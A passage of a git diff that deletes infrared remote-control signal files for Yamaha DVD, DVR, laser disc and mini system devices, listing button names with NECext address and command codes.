-# -name: 0B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 01 00 00 00 -# -name: 1B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 02 00 00 00 -# -name: 2B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 03 00 00 00 -# -name: 3B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 04 00 00 00 -# -name: 4B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 05 00 00 00 -# -name: 5B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 06 00 00 00 -# -name: 6B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 07 00 00 00 -# -name: 7B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 08 00 00 00 -# -name: 8B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 09 00 00 00 -# -name: 9B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 09 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0C 00 00 00 -# -name: POWER_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0C 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0D 00 00 00 -# -name: ON_SCREEN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0F 00 00 00 -# -name: ON_SCREEN_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0F 00 00 00 -# -name: OSD -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0F 00 00 00 -# -name: OSD_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0F 00 00 00 -# -name: DIMMER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 13 00 00 00 -# -name: DIMMER_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 13 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1C 00 00 00 -# -name: SHUFFLE_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1C 00 00 00 -# -name: RPT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1D 00 00 00 -# -name: RPT_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1D 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1D 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 20 00 00 00 -# -name: SKIP_>>_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 20 00 00 00 -# -name: CHAPTER_+ -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 20 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 20 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 21 00 00 00 -# -name: SKIP_<<_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 21 00 00 00 -# -name: CHAPTER_- -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 21 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 21 00 00 00 -# -name: SCAN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 2A 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 2C 00 00 00 -# -name: PLAY_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 2C 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 30 00 00 00 -# -name: PAUSE_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 30 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 31 00 00 00 -# -name: STOP_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 31 00 00 00 -# -name: SIDE_A/B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 3B 00 00 00 -# -name: SIDE_A/B_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 3B 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 3B 00 00 00 -# -name: A/B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 3B 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 3F 00 00 00 -# -name: BIT_1 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 48 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4B 00 00 00 -# -name: SUBTITLE_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4B 00 00 00 -# -name: SUB-T -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4B 00 00 00 -# -name: SUB-T_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4B 00 00 00 -# -name: SUBTILE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4B 00 00 00 -# -name: AUDIO_MODE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4E 00 00 00 -# -name: AUDIO_MODE_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4E 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4E 00 00 00 -# -name: SOUND_MODE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 50 00 00 00 -# -name: SOUND_MODE_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 50 00 00 00 -# -name: MODE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 50 00 00 00 -# -name: MODE_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 50 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 54 00 00 00 -# -name: MENU_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 54 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 58 00 00 00 -# -name: CURSOR_UP_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 58 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 58 00 00 00 -# -name: UP_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 58 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 59 00 00 00 -# -name: CURSOR_DOWN_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 59 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 59 00 00 00 -# -name: DOWN_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 59 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5A 00 00 00 -# -name: CURSOR_LEFT_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5A 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5A 00 00 00 -# -name: LEFT_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5A 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5A 00 00 00 -# -name: REWIND -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5A 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5B 00 00 00 -# -name: CURSOR_RIGHT_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5B 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5B 00 00 00 -# -name: RIGHT_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5B 00 00 00 -# -name: FAST_FOWARD -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5B 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5C 00 00 00 -# -name: ENTER_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5C 00 00 00 -# -name: CURSOR_ENTER/ -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5C 00 00 00 -# -name: CURSOR_ENTER/OK -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5C 00 00 00 -# -name: OK -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5C 00 00 00 -# -name: DISC_SKIP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 7F 00 00 00 -# -name: DISK_SKIP_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 7F 00 00 00 -# -name: DISC_SKIP_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 7F 00 00 00 -# -name: DISK_SKIP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 7F 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 82 00 00 00 -# -name: SETUP_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 82 00 00 00 -# -name: SET_UP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 82 00 00 00 -# -name: ON_SCREEN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 82 00 00 00 -# -name: TOP_MENU -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 83 00 00 00 -# -name: TOP_MENU_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 83 00 00 00 -# -name: RTRN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 83 00 00 00 -# -name: RTRN_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 83 00 00 00 -# -name: TOP_MENU/RETURN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 83 00 00 00 -# -name: TOP_MENU/RETURN_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 83 00 00 00 -# -name: RETURN/RESUME -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 83 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 83 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 85 00 00 00 -# -name: ANGLE_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 85 00 00 00 -# -name: A-DIR -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 8C 00 00 00 -# -name: AUDIO_DIRECT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 8C 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 8E 00 00 00 -# -name: T/C -type: parsed -protocol: NECext -address: 04 00 00 00 -command: C8 00 00 00 -# -name: TITLE/CHAPTER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: C8 00 00 00 -# -name: PAGE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: CF 00 00 00 -# -name: PAGE_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: CF 00 00 00 -# -name: SCAN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: D5 00 00 00 -# -name: SCAN_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: D5 00 00 00 -# -name: BIT_2 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: EF 00 00 00 -# -name: STATUS -type: parsed -protocol: NECext -address: 04 00 00 00 -command: EF 00 00 00 -# -name: ZOOM -type: parsed -protocol: NECext -address: 04 00 00 00 -command: F7 00 00 00 -# -name: ZOOM_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: F7 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 04 00 00 00 -command: FB 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DVR/120,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DVR/120,-1.ir deleted file mode 100644 index 8fe6da874..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DVR/120,-1.ir +++ /dev/null @@ -1,218 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: STANDBY/ON -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 0F 00 00 00 -# -name: POWER_TOGGLE -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 0F 00 00 00 -# -name: PRESET1 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 11 00 00 00 -# -name: PRESET2 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 12 00 00 00 -# -name: PRESET3 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 13 00 00 00 -# -name: PRESET4 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 14 00 00 00 -# -name: PRESET5 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 15 00 00 00 -# -name: PRESET6 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 16 00 00 00 -# -name: PRESET7 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 17 00 00 00 -# -name: PRESET8 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 18 00 00 00 -# -name: PRESET_UP -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 1B 00 00 00 -# -name: PRESET_+ -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 1B 00 00 00 -# -name: PRESET_DOWN -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 1C 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 1E 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 1F 00 00 00 -# -name: VCR -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 49 00 00 00 -# -name: DVD/CD -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 4A 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 4B 00 00 00 -# -name: SUBWOOF_+ -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 4C 00 00 00 -# -name: SUBWOOF_- -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 4D 00 00 00 -# -name: SLEEP -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 4F 00 00 00 -# -name: STEREO -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 50 00 00 00 -# -name: TEST -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 5F 00 00 00 -# -name: CENTER_+ -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 86 00 00 00 -# -name: CENTER_- -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 87 00 00 00 -# -name: SURROUND_+ -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 88 00 00 00 -# -name: SURROUND_- -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 89 00 00 00 -# -name: MATRIX_6.1 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 90 00 00 00 -# -name: DOLBY/DTS -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 99 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 9C 00 00 00 -# -name: SET_MENU -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 9D 00 00 00 -# -name: MOVIE -type: parsed -protocol: NECext -address: 78 00 00 00 -command: D9 00 00 00 -# -name: MUSIC -type: parsed -protocol: NECext -address: 78 00 00 00 -command: DA 00 00 00 -# -name: SPORTS -type: parsed -protocol: NECext -address: 78 00 00 00 -command: DB 00 00 00 -# -name: GAME -type: parsed -protocol: NECext -address: 78 00 00 00 -command: DC 00 00 00 -# -name: VIDEO -type: parsed -protocol: NECext -address: 78 00 00 00 -command: DF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DVR/124,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DVR/124,-1.ir deleted file mode 100644 index d016c460a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DVR/124,-1.ir +++ /dev/null @@ -1,332 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: PLAY -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 82 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 83 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 85 00 00 00 -# -name: << -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 86 00 00 00 -# -name: REWIND -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 86 00 00 00 -# -name: >> -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 87 00 00 00 -# -name: FAST_FORWARD -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 87 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 93 00 00 00 -# -name: REC_0 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 93 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 94 00 00 00 -# -name: REC_1 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 94 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 95 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 95 00 00 00 -# -name: REC_2 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 95 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 96 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 96 00 00 00 -# -name: REC_3 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 96 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 97 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 97 00 00 00 -# -name: REC_4 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 97 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 98 00 00 00 -# -name: REC_5 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 98 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 99 00 00 00 -# -name: REC_6 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 99 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 9A 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 9A 00 00 00 -# -name: REC_7 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 9A 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 9B 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 9B 00 00 00 -# -name: REC_8 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 9B 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 9C 00 00 00 -# -name: REC_9 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 9C 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: A3 00 00 00 -# -name: ON_SCREEN -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: A6 00 00 00 -# -name: STATUS -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: A7 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: AA 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: AD 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: AE 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B2 00 00 00 -# -name: ARROW_DOWN -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B3 00 00 00 -# -name: MENU_DOWN -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B3 00 00 00 -# -name: ARROW_UP -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B4 00 00 00 -# -name: MENU_UP -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B4 00 00 00 -# -name: ARROW_LEFT -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B5 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B5 00 00 00 -# -name: MENU_LEFT -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B5 00 00 00 -# -name: ARROW_RIGHT -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B6 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B6 00 00 00 -# -name: MENU_RIGHT -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B6 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B7 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B8 00 00 00 -# -name: << -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B9 00 00 00 -# -name: PREVIOUS -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B9 00 00 00 -# -name: >> -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: BA 00 00 00 -# -name: NEXT -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: BA 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DVR/71,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DVR/71,-1.ir deleted file mode 100644 index 5b73a02ca..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DVR/71,-1.ir +++ /dev/null @@ -1,26 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TV_POWER -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 02 00 00 00 -# -name: TV_VOL_+ -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 22 00 00 00 -# -name: TV_VOL_- -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 2A 00 00 00 -# -name: TV_INPUT -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 3A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Laser Disc/124,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Laser Disc/124,-1.ir deleted file mode 100644 index 52a6f51b2..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Laser Disc/124,-1.ir +++ /dev/null @@ -1,152 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CHAPTER_DN -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 02 00 00 00 -# -name: CHAPTER_UP -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 03 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 05 00 00 00 -# -name: << -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 06 00 00 00 -# -name: >> -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 07 00 00 00 -# -name: STILL_DN -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 0A 00 00 00 -# -name: STILL_UP -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 0B 00 00 00 -# -name: MULTI_DN -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 0E 00 00 00 -# -name: MULTI_UP -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 0F 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 11 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 17 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 18 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 19 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 1A 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 1B 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 1C 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 1D 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 1E 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 1F 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 47 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 49 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 5A 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 5B 00 00 00 -# -name: 10+ -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 5D 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 5E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Mini System/120,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Mini System/120,-1.ir deleted file mode 100644 index 9f6126902..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Mini System/120,-1.ir +++ /dev/null @@ -1,266 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: STOP -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 01 00 00 00 -# -name: PLAY/PAUSE -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 02 00 00 00 -# -name: TRACK_UP -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 03 00 00 00 -# -name: TRACK_DOWN -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 04 00 00 00 -# -name: MODE-DUBBING -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 05 00 00 00 -# -name: START-DUBBING -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 06 00 00 00 -# -name: B -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 07 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 07 00 00 00 -# -name: DISC_SKIP -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 08 00 00 00 -# -name: E -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 08 00 00 00 -# -name: D -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 09 00 00 00 -# -name: MODE -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 09 00 00 00 -# -name: TEXT/TIME -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 0A 00 00 00 -# -name: C -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 0B 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 0B 00 00 00 -# -name: A -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 0C 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 0C 00 00 00 -# -name: POWER_ON/OFF -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 0F 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 10 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 11 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 12 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 13 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 14 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 15 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 16 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 17 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 18 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 19 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 1A 00 00 00 -# -name: PRESET_UP -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 1B 00 00 00 -# -name: PRESET_DOWN -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 1C 00 00 00 -# -name: +100 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 1D 00 00 00 -# -name: VOLUME_UP -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 1E 00 00 00 -# -name: VOLUME_DOWN -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 1F 00 00 00 -# -name: TAPE -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 41 00 00 00 -# -name: TAPE_DIRECTION -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 43 00 00 00 -# -name: TAPE_REC/PAUSE -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 46 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 49 00 00 00 